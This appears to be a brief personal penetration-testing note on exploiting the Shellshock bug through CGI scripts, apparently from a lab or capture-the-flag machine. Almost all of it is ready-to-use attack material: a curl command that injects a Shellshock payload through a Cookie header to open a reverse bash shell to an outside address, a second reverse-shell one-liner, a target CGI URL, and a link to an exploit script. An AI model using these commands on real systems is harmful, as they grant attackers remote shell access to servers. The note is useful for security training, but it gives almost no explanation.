### Shell-shock Shell-shock 常见后缀 py,sh,php,js Cgi-bin -> -x py,sh,php,js ``` curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.12/4443 0>&1' ``` [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh) ``` bash -c 'exec bash -i &>/dev/tcp/10.10.0.33/80 <&1' ``` [Shellshocker/shellshocker.py at master · AlmCo/Shellshocker · GitHub](https://github.com/AlmCo/Shellshocker/blob/master/shellshocker.py) ![[Pasted image 20220430195015.png]]